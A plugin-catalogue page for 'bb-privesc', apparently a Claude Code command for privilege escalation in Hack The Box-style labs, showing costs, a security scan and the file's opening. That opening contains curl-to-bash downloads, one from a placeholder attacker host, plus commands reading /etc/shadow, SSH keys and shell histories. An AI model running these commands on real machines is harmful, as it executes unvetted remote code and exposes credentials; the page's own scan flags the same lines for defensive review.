bb-privesc

bb-privesc is a command for Claude Code from allsmog/blackbox-claude-plugin. It costs 39 tokens per session (1,816 once invoked), scanned E, original, MIT.

A command for looking for ways to gain higher permissions on Linux or Windows after obtaining access to a machine. Higher permissions may allow actions unavailable to the current account.

In plain words
What is it for?
Use it after getting a shell to inspect sudo rights, special program permissions, writable files, running services, and other privilege-escalation opportunities.
Why use it?
It gathers system, user, permission, process, and configuration details that can expose unsafe settings or possible paths to administrator-level access.

Command for Claude Code

Written for Claude Code: allowed-tools in frontmatter. Also seen: names the TodoWrite tool.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit Use it after getting a shell to inspect sudo rights, special program permissions, writable files, running services, and other privilege-escalation opportunities.

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/allsmog/blackbox-claude-plugin/bb-privesc
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for bb-privesc

README.md
[![agentmods](https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-privesc.svg)](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-privesc)
Your own site
<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-privesc"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-privesc.svg" alt="Measured on agentmods" height="20"></a>
Per session 39 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,816 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 3 findings. A grade says what 26 rules found in the file — not that it is safe. ✓ AI security review Sonnet 5 · 7 Sept 2026 📄 Read the review
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00039 $0.01816
Opus 5 $0.00019 $0.00908
Sonnet 5 $0.00008 $0.00363
Haiku 4.5 $0.00004 $0.00182

Measured 8d ago against content hash 6194cf80ee29, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade E, and why

bb-privesc scanned grade E with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

cat /home/*/.ssh/id_rsa 2>/dev/null

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
blackbox-htb/commands/bb-privesc.md · 324 lines

How it starts

The opening of the file, as written. The whole thing — 324 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Privilege Escalation

Overview

Comprehensive privilege escalation enumeration and exploitation guidance for both Linux and Windows systems.

Phase 1: OS Detection & Basic Enumeration

Detect OS

# Linux
uname -a
cat /etc/os-release

# Windows (PowerShell)
systeminfo
[System.Environment]::OSVersion

Linux Privilege Escalation

Automated Enumeration

LinPEAS
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash

# Or from attacker machine
curl http://<ATTACKER>:8000/linpeas.sh | bash

# Save output
./linpeas.sh -a | tee linpeas_output.txt
LinEnum
curl http://<ATTACKER>:8000/LinEnum.sh | bash

Manual Enumeration

User & Permissions
# Current user info
id
whoami
groups

# Sudo permissions
sudo -l

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# SGID binaries
find / -perm -2000 -type f 2>/dev/null

# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc

# Capabilities
getcap -r / 2>/dev/null
System Information
# Kernel version
uname -a
cat /proc/version

# Distribution
cat /etc/issue
cat /etc/os-release

# Running processes
ps aux

# Installed packages
dpkg -l  # Debian
rpm -qa  # Red Hat

# Network connections
netstat -tulpn
ss -tulpn
Sensitive Files
# Readable shadow
cat /etc/shadow 2>/dev/null

# SSH keys
find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null

# Password files
find / -name "*.password" -o -name "*password*" 2>/dev/null

# Config files
find / -name "*.conf" -type f 2>/dev/null | xargs grep -l "password" 2>/dev/null

# History files
cat /home/*/.bash_history 2>/dev/null
cat ~/.bash_history
Cron Jobs
# System cron
cat /etc/crontab
ls -la /etc/cron*

# User cron
crontab -l
cat /var/spool/cron/crontabs/*

# Watch for running cron
# Use pspy to monitor processes

Common Linux Privesc Vectors

Vector Check Exploit
Sudo sudo -l GTFOBins for binaries
SUID find / -perm -4000 GTFOBins
Cron /etc/crontab Writable scripts
Kernel uname -r searchsploit
Capabilities getcap -r / GTFOBins
Docker docker images Docker escape
LXC lxc list Container escape
NFS cat /etc/exports no_root_squash
Writeable /etc/passwd ls -la /etc/passwd Add root user

Read the full file on GitHub · 324 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 324 lines · 39 tokens per session scan E 6194cf80ee29

Subscribe to this mod's changes

bb-privesc is a command published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 39 tokens to every session and 1,816 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it E with 3 findings (reaches for credential files, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.